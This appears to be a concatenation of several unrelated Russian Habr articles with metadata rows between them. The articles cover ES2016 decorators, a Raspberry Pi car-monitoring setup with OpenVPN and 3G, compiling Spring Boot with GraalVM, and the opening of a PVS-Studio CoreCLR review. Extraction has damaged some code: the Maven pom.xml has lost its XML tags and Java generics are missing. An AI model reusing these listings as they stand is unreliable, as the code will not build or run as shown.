Многие из нас, наверное, уже устали от этой шумихи вокруг последних стандартов ECMAScript. ES6, ES7 ECMAScript Harmony… Кажется, что у каждого свое мнение на счет того, как правильно называть JS. Но даже несмотря на весь этот хайп, то что сейчас происходит с JavaScript — это самое замечательное, что происходило с ним за последние лет 5 минимум. Язык живет, развивается, комьюнити постоянно предлагает новые возможности и синтаксические конструкции. Одной из таких новых конструкций, безусловно заслуживающих внимания, являются декораторы. Занявшись поисками материалов по этой теме, я понял, что в русскоязычном интернете практически ничего нет о декораторах. В то же время Addy Osmani еще в июле 2015 представил прекрасную статью [Exploring ES2016 Decorators](https://medium.com/google-developers/exploring-es7-decorators-76ecb65fb841) на Medium. В связи с этим, я хотел бы представить вашему вниманию перевод этой статьи на русский язык и разместить его здесь.
[Итераторы](https://jakearchibald.com/2014/iterators-gonna-iterate/), [генераторы](http://www.2ality.com/2015/03/es6-generators.html), [списковые включения](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions)… С каждым нововведением отличий между JavaScript и Python становится все меньше. Сегодня мы поговорим еще об одном «питоноподопном» предложении для стандарта ECMAScript 2016 (он же ES7) — [Декораторы](https://github.com/wycats/javascript-decorators) от Иегуды Кац.
Паттерн «Декоратор»
-------------------
Прежде чем разбирать область применения и правила использования декораторов для ES2016, давайте все-таки узнаем есть ли что-то подобное в других языках? Например в Python. Для него декораторы — это просто синтаксический сахар, который позволяет упрощенно вызывать [функции высшего порядка](https://en.wikipedia.org/wiki/Higher-order_function). Иными словами *это просто функция, которая принимает другую функцию, изменяет ее поведение, при этом не внося изменений в ее исходный код*. Простейший декоратор мы могли бы представить как показано ниже:
```
@mydecorator
def myfunc():
pass
```
Выражение в самом верху примера ("@mydecorator") — это декоратор, синтаксис которого точно так же будет выглядеть и в стандарте ES2016 (ES7), так что часть необходимого материала вы уже освоили.
Символ "@" говорит парсеру, что мы используем декоратор, в то время как *mydecorator* это просто имя некоторой функции. Наш декоратор из примера принимает один параметр (а именно декорируемую функцию *myfunc*) и возвращает ровно такую же функцию, но с измененным функционалом.
Декораторы очень полезны в том случае, если вы хотите подмешать в функцию дополнительное поведение, при этом не изменяя ее исходный код. Например для того, чтобы обеспечить поддержку мемоизации, уровней доступа, аутентификации, [инструментирования](https://en.wikipedia.org/wiki/Instrumentation_(computer_programming)), логирования… кейсов использования действительно много, этот список можно продолжать до бесконечности.
Декораторы в ES5 и ES2015 (он же ES6)
-------------------------------------
Реализовать декоратор в ES5, используя императивный подход (то есть при помощи чистых функций) — достаточно тривиальная задача. Но из-за того что в ES2015 появилась нативная поддержка классов, для обеспечения тех же целей нам нужно что-то более гибкое, чем просто чистые функции.
Предложение Иегуды Кац по добавлению декораторов в следующий стандарт ECMAScript обеспечивает аннотирование и модификацию объектных литералов, классов и их свойств во время проектирования кода, при этом используя декларативный, а не императивный подход.
Давайте же рассмотрим некоторые декораторы ES2016 на реальном примере!
ES2016 декораторы в действии
----------------------------
Итак, вспомним чему мы научились из Python и попробуем перенести наши знания в область JavaScript. Как я уже сказал, синтаксис для ES7 ничем не будет отличаться, основная идея тоже. Таким образом, декоратор в ES2016 — *это некоторое выражение, которое может принимать целевой объект, имя и дескриптор в качестве аргументов*. Затем вы просто «применяете» его добавляя символ "@" в начале и размещаете прямо перед тем участком кода, который вы собираетесь декорировать. На сегодняшний день декораторы могут быть определены либо для определения класса, либо для определения свойства.
### Декорируем свойство
Давайте рассмотрим класс:
```
class Cat {
meow() { return `${this.name} says Meow!`}
}
```
При добавлении этого метода к прототипу класса Cat мы получим что-то похожее на это:
```
Object.defineProperty(Cat.prototype, 'meow', {
value: specifiedFunction,
enumerable: false,
configurable: true,
writable: true
});
```
Таким образом на прототип класса вешается метод, позволяющий коту подавать голос. В то же время этот метод не участвует в переборе свойств объекта, также его можно изменять и он доступен для записи. Но представьте, что вы хотели бы явно запретить изменения реализации этого метода. Например, мы могли бы сделать это при помощи декоратора "@readonly", который, как понятно из названия, давал бы доступ к этому методу «только для чтения» и запрещал бы любые переопределения:
```
function readonly(target, key, descriptor) {
descriptor.writable = false;
return descriptor;
}
```
И затем добавляем созданный декоратор к методу, как показано ниже:
```
class Cat {
@readonly
meow() { return `${this.name} says Meow!`}
}
```
Декоратор также может принимать параметры, в конечном итоге декоратор — это всего лишь выражение, поэтому как "@readonly", так и "@something(parameter)" должны работать.
Теперь прежде чем повесить метод на прототип класса Cat, движок запустит декоратор:
```
let descriptor = {
value: specifiedFunction,
enumerable: false,
configurable: true,
writable: true
};
// Декоратор имеет ту же сигнатуру, что и "Object.defineProperty",
// Поэтому мы без труда можем переопределить дескриптор, пока
// "Object.defineProperty" не вызван
descriptor = readonly(Cat.prototype, 'meow', descriptor) || descriptor;
Object.defineProperty(Cat.prototype, 'meow', descriptor);
```
Таким образом декорируемый метод «meow» становится доступным только для чтения. Можем проверить это поведение:
```
let garfield = new Cat();
garfield.meow = () => { console.log('I want lasagne!'); };
// Ошибка! Так как мы не можем изменять реализацию метода.
```
Занятно, не правда ли? Совсем скоро мы рассмотрим декорирование классов, но перед этим давайте поговорим о поддержке декораторов со стороны комьюнити. Несмотря на свою незрелость, начинают появляться целые библиотеки декораторов (например, <https://github.com/jayphelps/core-decorators.js> от Jay Phelps). Подобно тому, как мы написали свой декоратор, можно взять точно такой же, но реализованный в библиотеке:
```
import { readonly } from 'core-decorators';
class Meal {
@readonly
entree = 'steak';
}
let meal = new Meal();
meal.entree = 'salmon';
// Ошибка!
```
Библиотека также хороша тем, что реализует декоратор "@deprecate", довольно полезный, когда вы меняете API, но необходимо сохранить устаревшие методы для обратной совместимости. Вот что говорит документация касательно этого декоратора:
> Декоратор вызывает console.warn(), и выводит предупреждающее сообщение. Это сообщение можно переопределять. Также поддерживает добавление ссылок для дальнейшего ознакомления.
```
import { deprecate } from 'core-decorators';
class Person {
@deprecate
facepalm() {}
@deprecate('We are stopped facepalming.')
facepalmHard() {}
@deprecate('We are stopped facepalming', { url: 'http://knowyourmeme.com/memes/facepalm' })
facepalmHarder() {}
}
let captainPicard = new Person();
captainPicard.facepalm();
// DEPRECATION Person#facepalm will be removed in future versions
captainPicard.facepalmHard();
// DEPRECATION Person#facepalmHard: We are stopped facepalming.
captainPicard.facepalmHarder();
// DEPRECATION Person#facepalmHarder: We are stopped facepalming.
//
// See http://knowyourmemes.com/memes/facepalm for more details
//
```
### Декорируем класс
Далее, давайте посмотрим на декорирование классов. Согласно предлагаемой спецификации, декоратор принимает целевой конструктор. Например, мы могли бы создать декоратор [superhero](https://habrahabr.ru/users/superhero/) для класса «MySuperHero»:
```
function superhero(target) {
target.isSuperhero = true;
target.power = 'flight';
}
@superhero
class MySuperHero {}
console.log(MySuperHero.isSuperhero); // true
```
Можем пойти еще дальше и дать возможность нашему декоратору принимать параметры, превратив его в фабричный метод:
```
function superhero(isSuperhero) {
return function (target) {
target.isSuperhero = isSuperHero;
target.power = 'flight';
}
}
@superhero(false)
class MySuperHero {}
console.log(MySuperHero.isSuperhero); // false
```
Итак, декораторы в ES2016 могут работать с классами и дескрипторами свойств. И, как мы уже выяснили, им автоматически передаются дескриптор свойства и целевой объект. Имея доступ к дескриптору свойства, декоратор может делать такие вещи как: добавление геттера к свойству, добавление поведения, которое могло бы выглядеть громоздко без вынесения его в декоратор, например автоматическая смена контекста вызова функции на текущую сущность при первой попытке доступа к свойству.
### ES2016 декораторы и миксины
Я тщательно ознакомился со статьей Рега Брейтуэйта [Декораторы ES2016 в качестве миксинов](http://raganwald.com/2015/06/26/decorators-in-es7.html) и его предыдущей [Функциональные миксины](http://raganwald.com/2015/06/17/functional-mixins.html) и вынес оттуда довольно интересный вариант использования декораторов. Его предложение заключается в том, что мы вводим некий helper, который подмешивает поведение к прототипу или же объекту определенного класса. При этом функциональный миксин, который смешивает поведение объекта с прототипом класса выглядит так:
```
function mixin(behaviour, sharedBehaviour = {}) {
const instanceKeys = Reflect.ownKeys(behaviour);
const sharedKeys = Reflect.ownKeys(sharedBehaviour);
const typeTag = Symbol(‘isa’);
function _mixin(clazz) {
for (let property of instanceKeys) {
Object.defineProperty(clazz.prototype, property, { value: behaviour[property] });
}
Object.defineProperty(clazz.prototype, typeTag, { value: true});
return clazz;
}
for(let property of sharedKeys) {
Object.defineProperty(_mixin, property, {
value: sharedBehaviour[property],
enumerable: sharedBehaviour.propertyIsEnumerable(property)
});
}
Object.defineProperty(_mixin, Symbol.hasInstance, {
value: (i) => !!i[typeTag]
});
return _mixin;
}
```
Отлично. Теперь мы можем определить несколько миксинов и попробовать декорировать ими класс. Давайте представим, что у нас есть класс “ComicBookCharacter”:
```
class ComicBookCharacter {
constructor(first, last) {
this.firstName = first;
this.lastName = last;
}
realName() {
return this.firstName + ‘ ‘ + this.lastName;
}
}
```
Может быть это будет самый скучный герой из комиксов, но мы можем спасти ситуацию, объявив несколько миксинов, которые добавят “суперсилу” нашему герою и “многоцелевой пояс бетмена” нашему герою. Для этого давайте воспользуемся фабрикой миксинов, объявленной выше:
```
const SuperPowers = mixin({
addPower(name) {
this.powers().push(name);
return this;
},
powers() {
return this._powers_pocessed || (this._powers_pocessed = []);
}
});
const UtilityBelt = mixin({
addToBelt(name) {
this.utilities().push(name);
return this;
},
utilties() {
return this._utility_items || (this._utility_items = []);
}
});
```
Теперь мы можем использовать @-синтаксис с именами наших миксинов, для того, чтобы декорировать объявленный выше класс “ComicBookCharacter”, добавляя в него желаемое поведение. Обратите внимание, мы можем определять несколько инструкций декорирования вместе:
```
@SuperPowers
@UtilityBelt
class ComicBookCharacter {
constructor(first, last) {
this.firstName = first;
this.lastName = last;
}
realName() {
return this.firstName + ‘ ‘ + this.lastName;
}
}
```
Теперь мы можем создать своего Бэтмена:
```
const batman = new ComicBookCharacter(‘Bruce’, ‘Wayne’);
console.log(batman.realName());
// Bruce Wayne
batman
.addToBelt(‘batarang’)
.addToBelt(‘cape’);
console.log(batman.utilities());
// [‘batarang’, ‘cape’]
batman
.addPower(‘detective’)
.addPower(‘voice sounds like Gollum has asthma’);
console.log(batman.powers());
// [‘detective’, ‘voice sounds like Gollum has asthma’]
```
Как видите, подобного рода декораторы относительно компактны и я вполне могу использовать их в качестве альтернативы для вызова функций или в качестве helper’ов для компонентов более высокого порядка.
### Заставляем Babel понимать декораторы
Декораторы (на момент написания статьи) все еще не утверждены и только предложены к добавлению в стандарт. Но благодаря тому, что Babel поддерживает транспиляцию экспериментальных конструкций, мы можем подружить его с декораторами.
Если вы используете Babel CLI, вы можете включить декораторы так:
```
babel --optional es7.decorators
```
Или же вы можете включить поддержку декораторов при помощи трасформатора:
```
babel.transform(‘code’, { optional: [‘es7.decorators’] });
```
Ну и в конце-концов можете поиграться с ними в Babel REPL (для этого включите поддержку экспериментальных конструкций).
### Почему вы еще не используете декораторы в ваших проектах?
В краткосрочной перспективе, декораторы в ES2016 довольно полезны для декларативного декорирования, аннотирования, проверки типов и подмешивания поведения классам из ES2015. В долгосрочной перспективе, они могут послужить очень полезным инструментом для статического анализа (что может послужить толчком к созданию инструментов для проверки типов во время компиляции или автодополнения).
Они ничем не отличаются от декораторов из классического ООП, где объект может быть декорирован определенным поведением при помощи паттерна, либо статически, либо динамически не влияя на остальные объекты того же класса. Все же, я считаю их приятным дополнением. Семантика декораторов для классов все еще выглядит сыровато, однако стоит время от времени посматривать на репозиторий Иегуды и следить за обновлениями.
### Полезные ссылки
<https://github.com/wycats/javascript-decorators>
<https://github.com/jayphelps/core-decorators.js”>https://github.com/jayphelps/core-decorators.js>
<http://blog.developsuperpowers.com/eli5-ecmascript-7-decorators/>
<http://elmasse.github.io/js/decorators-bindings-es7.html>
<http://raganwald.com/2015/06/26/decorators-in-es7.html”>http://raganwald.com/2015/06/26/decorators-in-es7.html> | https://habr.com/ru/post/277021/ | null | ru | null |
# Система наблюдения в автомобиле за ним же на Raspberry Pi. Часть 1
#### Введение
Добрый день.
Однажды я приобрёл Raspberry Pi без каких-то на то целей — как только начались упоминания о нём на хабре. Начал бесцельно запускать фтп-сервера, пробовать Node.js и прочие мелкие серверные дела, пока не приобрёл новый автомобиль. Конечно, заниматься тем, что можно найти на просторах интернета вроде дистанционного открытия гаража я не стал — в силу нормального не знания системы Linux и серверных языков программирования. Автомобиль стал мне дорог и возникла идея — **поставить малинку в автомобиль с прикрученными к ней USB девайсами: GPS, Web-камера, 3G-модем** — для чего и был куплен 2-ой Raspberry.
В этой статье я опишу подготовку: установку Node.JS, настройку OpenVPN и 3G.
##### Планы
Необходимо чтобы в машине была установлена Малина с подключёнными к ней GPS и веб-камерой и чтобы в любой момент я мог даже с мобильного телефона посмотреть что творится с моей машиной.
#### Итак, приступим
##### Установка Node.JS
Устанавливаем Node.JS с сайта, так как в репозитории лежит версия 0.6.18.
```
sudo mkdir /opt/node
wget nodejs.org/dist/latest/node-v0.10.20-linux-arm-pi.tar.gz
tar xvzf node-v0.10.20-linux-arm-pi.tar.gz
sudo cp -r node-v0.10.20-linux-arm-pi/* /opt/node
```
Теперь добавим путь к Node.JS в переменные окружения, чтобы не приходилось прописывать длинный путь. Для этого отредактируем файл:
```
sudo nano/etc/profile
вставвил строчки:
NODE_JS_HOME="/opt/node"
PATH="$PATH:$NODE_JS_HOME/bin"
```
В итоге head этого файла будет выглдяеть вот так:
```
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "`id -u`" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games"
fi
NODE_JS_HOME="/opt/node"
PATH="$PATH:$NODE_JS_HOME/bin"
export PATH
```
Нам потребуется устанавливать некоторые модули глобально (напр. npm install -g express), поэтому сделаем нашего пользователя владельцем каталога ноды:
```
sudo chown -R pi /opt/node
```
Проверяем:
Для написания кода в дальнейшем создадим папку:
По правилам поиска модулей сделаем симлинк глобальной директории модулей в home директорию, подробнее об этом можно почитать тут: [nodejs.ru/doc/v0.4.x/modules.html#\_u0417\_u0430\_u0433\_u0440\_u0443\_u0437\_u043A\_u0430\_u0438\_u0437\_u043F\_u0430\_u043F\_u043E\_u043A\_node\_modules\_](http://nodejs.ru/doc/v0.4.x/modules.html#_u0417_u0430_u0433_u0440_u0443_u0437_u043A_u0430_u0438_u0437_u043F_u0430_u043F_u043E_u043A_node_modules_))
```
ln -s /opt/node/lib/node_modules ~/node_modules
```
##### Настройка OpenVPN
Так как нету возможности подключаться по SSH или хоть как-то получить связь с Малинкой через ОпСоСа кроме оплаты услуги за внешний IP, настроим OpenVPN.
###### Подготовка
* есть роутер со статическим внешним IP-адресом
* одна Малинка подключена к роутера через Ethernet
* есть 2 Малина, которая будет в далеке и доступна только через 3G
Для этого будем выдавать для Малины, подключённой к роутеру физический IP-адрес:
Переадресуем запросы OpenVPN к роутеру извне нашей «домашней» Малине, а за одно и SSH и HTTP:
На домашний Raspberry установим Node.JS так же как это было сделано ранее.
###### Установка
```
sudo apt-get install openvpn -y
```
Про генерацию и настройку уже много написано как на хабре, так и вне. Я воспользовался следующими статьями: [habrahabr.ru/post/188474](http://habrahabr.ru/post/188474/), [adw0rd.com/2013/01/10/openvpn/#.UmTuCBCpFZQ](http://adw0rd.com/2013/01/10/openvpn/#.UmTuCBCpFZQ), [www.volmed.org.ru/wiki/index.php/%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0\_OpenVPN\_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0](http://www.volmed.org.ru/wiki/index.php/%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_OpenVPN_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0).
Приведу каты своих настроек.
Для клиента в поле remote указан мой внешний статический адрес на роутере.
##### Настройка 3G
###### Подготовка
Для доступа к 3G я купил 3G-модем Huawei E1550 от Мегафон, с её же сим-картой.
Модем при подключении определяется как диск, поэтому необходимо переключить его в режим модема.
Для переключения его в режим модема необходимо установить программу и перезагрузиться.
```
sudo apt-get update && sudo apt-get install usb-modeswitch -y
sudo reboot
```
Посмотрим наши устройства:
###### Собственно настройка подключения
Создадим директорию:
```
$ mkdir ~/3g && cd ~/3g
```
Скачаем программу настройки 3G подключения:
```
wget http://sourceforge.net/projects/vim-n4n0/files/sakis3g.tar.gz/download
tar -xzvf sakis3g.tar.gz
```
Скачаем программу надстройки на UMTSKeeper (это надстройка над sakis3g и написана она вроде тем же автором=) )
*Лежать UMTSKeeper должна в той же директории что и sakis3G*
```
$ wget http://zool33.uni-graz.at/petz/umtskeeper/src/umtskeeper.tar.gz
$ tar -xzvf umtskeeper.tar.gz
```
Доустановим поддержку PPP
```
sudo apt-get install ppp -y
```
Теперь попробуем наладить 3G связь:
```
sudo /.sakis3g --interactive
```
В первой опции выбираем
> Connect with 3G
, а во второй 11-ый пнукт —
> Custom APN
.
Для мегафона настройки следующие:
* APN: internet
* APN\_USER: megafon
* APN\_PASS: megafon
Если всё будет верно, то программа выдаст сообщение об успешной подключении.
Для того, чтобы при разрыве связи восстанавливалось подключение у нас уже лежит UMTSKeeper.
```
sudo /home/pi/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1001' APN='CUSTOM_APN' CUSTOM_APN='internet' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' &
```
Вместо значения 12d1:1001' необходимо указать свой номер девайса из lsusb.
Теперь посмотрим журнал:
Всё работает, отлично!
Теперь пропишем эту команду в автозагрузку:
```
crontab -e
```
#### Заключение
В итоге у нас такая ситуация:
Есть роутер с внешним статическим IP-адресом, к которому подключён «домашний» Raspberry Pi и выступающий в роли OpenVPN сервера (и http в будущем) и «автомобильный» Raspberry Pi, который при помощи 3G модема подключается к «домашнему» OpenVPN.
##### Немного картинок для разнообразия:
##### P.S.
Я большую часть времени занимаюсь front-end'ом, поэтому серверная часть где-то может быть не идеальной.
При положительных отзывах — в следующей статье напишу о подключении и настройке GPS-приёмника и Web-камеры через USB-хаб. | https://habr.com/ru/post/202012/ | null | ru | null |
# Компилируем Spring Boot-приложение в нативное с помощью GraalVM
***Перевод статьи подготовлен в преддверии старта курса [«Разработчик на Spring Framework»](https://otus.pw/rRY9/).***
---
Привет, любители Spring’а! Добро пожаловать в очередной выпуск Spring Tips. Сегодня мы поговорим о недавно реализованной поддержке компиляции Spring Boot-приложений в GraalVM. Мы уже говорили о GraalVM и нативных приложениях в другом выпуске Spring Tips в теме про Spring Fu.
Немного вспомним, что такое GraalVM. GraalVM — замена стандартного компилятора C1 в OpenJDK. Подробнее об использовании GraalVM вы можете послушать в моем подкасте [Bootiful Podcast](http://bootifulpdcast.fm/) с Крисом Талингером (Chris Thalinge) — контрибьютором GraalVM и инженером Twitter. При определенных условиях GraalVM позволяет быстрее запускать обычные Spring-приложения и, хотя бы по этой причине, он заслуживает внимания.
Но мы не будем говорить об этом. Мы посмотрим на другие компоненты GraalVM: native image builder и SubstrateVM. SubstrateVM позволяет создавать нативные исполняемые файлы для вашего Java-приложения. Кстати, об этом и других использованиях GraalVM был подкаст с [Олегом Шелаевым из Oracle Labs](https://spring.io/blog/2020/02/07/oleg-elajev-on-zeroturnaround-graalvm-the-vjug-and-so-much-more). Native image builder — это испытание на поиск компромиссов. Если вы предоставите GraalVM достаточно информации о поведении вашего приложения в runtime (динамически связанные библиотеки, рефлексия, прокси и т. д.), то он сможет превратить ваше Java-приложение в статически линкованый бинарник, наподобие приложения на C или Golang. Честно говоря, этот процесс может быть довольно болезненным. Но если вы это сделаете, то сможете сгенерировать нативный код, который будет невероятно быстрым. В результате приложение будет занимать гораздо меньше оперативной памяти и запускаться менее чем за секунду. Меньше секунды. Довольно заманчиво, не правда ли? Конечно!
Однако следует помнить, что необходимо учитывать некоторые моменты. Полученные GraalVM-бинарники — это не Java-приложения. Они даже не запускаются на обычной JVM. Разработкой GraalVM занимается Oracle Labs и между командами Java и GraalVM есть какое-то взаимодействие, но я бы не назвал это Java. Полученный бинарник не будет кроссплатформенным. При работе приложения не используется JVM. Оно работает в другой среде выполнения, которая называется SubstrateVM.
Таким образом, здесь много компромиссов, но, тем не менее, я думаю, что у GraalVM есть большой потенциал, особенно для облачных приложений, где первостепенное значение имеют масштабирование и эффективность.
Давайте начнем. Устанавливаем GraalVM. Вы можете скачать его [здесь](https://www.graalvm.org/), или установить с помощью [SDKManager](http://sdkman.io/). Для установки дистрибутивов Java мне нравится использовать SDKManager. GraalVM немного отстает от последних версий Java и в настоящее время поддерживает Java 8 и 11. Поддержка Java 14 или 15 или более поздней (какая там будет версия, когда вы будете это читать) отсутствует.
Чтобы установить GraalVM для Java 8 запустите:
```
sdk install java 20.0.0.r8-grl
```
Я рекомендую использовать Java 8, а не Java 11, так как в Java 11 есть некоторые непонятные ошибки, с которыми я еще не разобрался.
После этого необходимо установить компонент native image builder. Запустите:
`gu install native-image`
`gu` — это утилита из GraalVM.
Наконец, проверьте, что `JAVA_HOME` указывает на GraalVM. На моей машине (Macintosh с SDKMAN) мой `JAVA_HOME` выглядит так:
```
export JAVA_HOME=$HOME/.sdkman/candidates/java/current/
```
Теперь, когда вы все настроили, давайте посмотрим на наше приложение. Перейдите к [Spring Initializr](http://start.spring.io/) и сгенерируйте новый проект с использованием Lombok, R2DBC, PostgreSQL и Reactive Web.
Подобный код вы видели миллион раз, поэтому я не буду его разбирать, а просто приведу его здесь.
```
package com.example.reactive;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.extern.log4j.Log4j2;
import org.springframework.boot.ApplicationRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.annotation.Id;
import org.springframework.data.r2dbc.core.DatabaseClient;
import org.springframework.data.repository.reactive.ReactiveCrudRepository;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.ServerResponse;
import org.springframework.web.reactive.handler.SimpleUrlHandlerMapping;
import org.springframework.web.reactive.socket.WebSocketHandler;
import org.springframework.web.reactive.socket.WebSocketMessage;
import org.springframework.web.reactive.socket.server.support.WebSocketHandlerAdapter;
import reactor.core.publisher.Flux;
import java.time.Duration;
import java.time.Instant;
import java.util.Collections;
import java.util.stream.Stream;
import static org.springframework.web.reactive.function.server.RouterFunctions.route;
import static org.springframework.web.reactive.function.server.ServerResponse.ok;
@Log4j2
@SpringBootApplication(proxyBeanMethods = false)
public class ReactiveApplication {
@Bean
RouterFunction routes(ReservationRepository rr) {
return route()
.GET("/reservations", r -> ok().body(rr.findAll(), Reservation.class))
.build();
}
@Bean
ApplicationRunner runner(DatabaseClient databaseClient, ReservationRepository reservationRepository) {
return args -> {
Flux names = Flux
.just("Andy", "Sebastien")
.map(name -> new Reservation(null, name))
.flatMap(reservationRepository::save);
databaseClient
.execute("create table reservation ( id serial primary key, name varchar(255) not null )")
.fetch()
.rowsUpdated()
.thenMany(names)
.thenMany(reservationRepository.findAll())
.subscribe(log::info);
};
}
public static void main(String[] args) {
SpringApplication.run(ReactiveApplication.class, args);
}
}
interface ReservationRepository extends ReactiveCrudRepository {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
class Reservation {
@Id
private Integer id;
private String name;
}
```
Полный код вы можете посмотреть [здесь](https://github.com/spring-tips/spring-graal-native-image-feature/blob/master/reactive/src/main/java/com/example/reactive/ReactiveApplication.java#L52).
Единственная особенность этого приложения в том, что мы используем Spring Boot-атрибут `proxyBeanMethods` для того, чтобы убедиться, что в приложении не будут использоваться cglib и другие, отличные от JDK прокси. GraalVM не поддерживает не-JDK прокси. Хотя даже и с JDK-прокси придется повозиться, чтобы GraalVM узнал о них. Этот атрибут, новый для Spring Framework 5.2, отчасти предназначен для поддержки GraalVM.
Итак, идем дальше. Я уже упоминал ранее, что мы должны сказать GraalVM о некоторых моментах, которые могут быть в нашем приложении во время выполнения и что он может не понять при выполнении нативного кода. Это такие вещи как рефлексия, прокси и т. д. Для этого есть несколько способов. Можно описать конфигурацию вручную и включить ее в сборку. GraalVM автоматически подхватит ее. Другой способ заключается в том, чтобы запустить программу с Java-агентом, который отслеживает, что делает приложение и, после завершения работы приложения, записывает всё в конфигурационные файлы, которые затем могут быть переданы компилятору GraalVM.
Еще вы можете использовать GraalVM feature. *([Прим. переводчика: “feature“ — термин GraalVM обозначающий плагин для нативной компиляции, создающий нативный бинарник из class-файла](https://github.com/spring-projects-experimental/spring-graal-native))*. GraalVM feature похожа на Java-агента. Она может делать какой-то анализ и передавать информацию в компилятор GraalVM. Feature знает и понимает, как работает Spring-приложение. Ей известно, когда Spring-бины являются прокси. Она знает, как динамически в runtime создаются классы. Она знает, как работает Spring, и знает, чего хочет GraalVM, по крайней мере, большую часть времени (в конце концов, это ранний релиз!)
Также нужно настроить сборку. Вот мой `pom.xml`.
```
xml version="1.0" encoding="UTF-8"?
4.0.0
org.springframework.boot
spring-boot-starter-parent
2.3.0.M4
com.example
reactive
0.0.1-SNAPSHOT
com.example.reactive.ReactiveApplication
1.8
org.springframework.experimental
spring-graal-native
0.6.0.RELEASE
org.springframework
spring-context-indexer
org.springframework.boot
spring-boot-starter-data-r2dbc
org.springframework.boot
spring-boot-starter-webflux
io.r2dbc
r2dbc-h2
org.projectlombok
lombok
true
org.springframework.boot
spring-boot-starter-test
test
org.junit.vintage
junit-vintage-engine
${project.artifactId}
org.springframework.boot
spring-boot-maven-plugin
spring-milestones
Spring Milestones
https://repo.spring.io/milestone
spring-milestones
Spring Milestones
https://repo.spring.io/milestone
graal
org.graalvm.nativeimage
native-image-maven-plugin
20.0.0
-Dspring.graal.mode=initialization-only -Dspring.graal.dump-config=/tmp/computed-reflect-config.json -Dspring.graal.verbose=true -Dspring.graal.skip-logback=true --initialize-at-run-time=org.springframework.data.r2dbc.connectionfactory.ConnectionFactoryUtils --initialize-at-build-time=io.r2dbc.spi.IsolationLevel,io.r2dbc.spi --initialize-at-build-time=io.r2dbc.spi.ConstantPool,io.r2dbc.spi.Assert,io.r2dbc.spi.ValidationDepth --initialize-at-build-time=org.springframework.data.r2dbc.connectionfactory -H:+TraceClassInitialization --no-fallback --allow-incomplete-classpath --report-unsupported-elements-at-runtime -H:+ReportExceptionStackTraces --no-server --initialize-at-build-time=org.reactivestreams.Publisher --initialize-at-build-time=com.example.reactive.ReservationRepository --initialize-at-run-time=io.netty.channel.unix.Socket --initialize-at-run-time=io.netty.channel.unix.IovArray --initialize-at-run-time=io.netty.channel.epoll.EpollEventLoop --initialize-at-run-time=io.netty.channel.unix.Errors
native-image
package
org.springframework.boot
spring-boot-maven-plugin
```
Здесь обратим внимание на плагин `native-image-maven-plugin`. Он принимает параметры через командную строку, которые помогают ему понять, что нужно делать. Все эти параметры в `buildArgs` необходимы, чтобы приложение могло запуститься. (Я должен выразить огромную благодарность Энди Клементу (Andy Clement) — мейнтейнеру Spring GraalVM Feature, — за то, что он помог разобраться со всеми этими параметрами!)
```
org.springframework.experimental
spring-graal-native
0.6.0.RELEASE
```
Мы хотим, чтобы для компилятора GraalVM было как можно больше способов предоставления информации о том, как должно работать приложение: java-агент, GraalVM Feature, параметры командной строки. Всё это вместе дает GraalVM достаточно информации, чтобы успешно превратить приложение в статически скомпилированный нативный бинарник. В долгосрочной перспективе наша цель — проекты Spring. И Spring GraalVM feature предоставляет все необходимое для их поддержки.
Теперь, когда мы все настроили, давайте соберем приложение:
* Скомпилируйте Java-приложение обычным способом
* Запустите Java-приложение с Java-агентом для сбора информации. На данном этапе мы должны убедиться, что приложение работает. Необходимо пройтись по всем возможным сценариям использования. Кстати, это очень хороший кейс для использования CI и тестов! Все постоянно говорят о тестировании приложения и улучшении производительности. Теперь, с GraalVM, вы можете сделать и то и другое!
* Затем пересоберите приложение, на этот раз с активным профилем graal, чтобы скомпилировать в нативное приложение, использовав информацию, собранную при первом запуске.
```
mvn -DskipTests=true clean package
export MI=src/main/resources/META-INF
mkdir -p $MI
java -agentlib:native-image-agent=config-output-dir=${MI}/native-image -jar target/reactive.jar
## it's at this point that you need to exercise the application: http://localhost:8080/reservations
## then hit CTRL + C to stop the running application.
tree $MI
mvn -Pgraal clean package
```
Если все прошло без ошибок, то в каталоге `target` вы увидите откомпилированное приложение. Запустите его.
```
./target/com.example.reactive.reactiveapplication
```
Приложение запускается, что видно из вывода, подобного этому.
```
2020-04-15 23:25:08.826 INFO 7692 --- [ main] c.example.reactive.ReactiveApplication : Started ReactiveApplication in 0.099 seconds (JVM running for 0.103)
```
Неплохо? GraalVM native image builder отлично подходит для работы в паре с облачной платформой, такой как CloudFoundry или Kubernetes. Вы можете легко собрать приложение в контейнер и запустить его в облаке с минимальными ресурсами.
Как всегда, мы будем рады вас услышать. Подходит ли эта технология вам? Вопросы? Комментарии? [Twitter (@springcentral)](https://twitter.com/Springcentral).
---
[Узнать о курсе подробнее](https://otus.pw/rRY9/) | https://habr.com/ru/post/503328/ | null | ru | null |
# PVS-Studio: 25 подозрительных фрагментов кода из CoreCLR
Корпорация Microsoft выложила в открытый доступ исходный код движка CoreCLR, который является ключевым элементом .NET Core. Эта новость, конечно же, не могла не привлечь наше внимание. Ведь чем больше аудитория у проекта, тем тревожнее будут выглядеть найденные подозрительные места. Несмотря на авторство Microsoft, как в любом крупном проекте, тут есть на что посмотреть и над чем задуматься.
Введение
--------
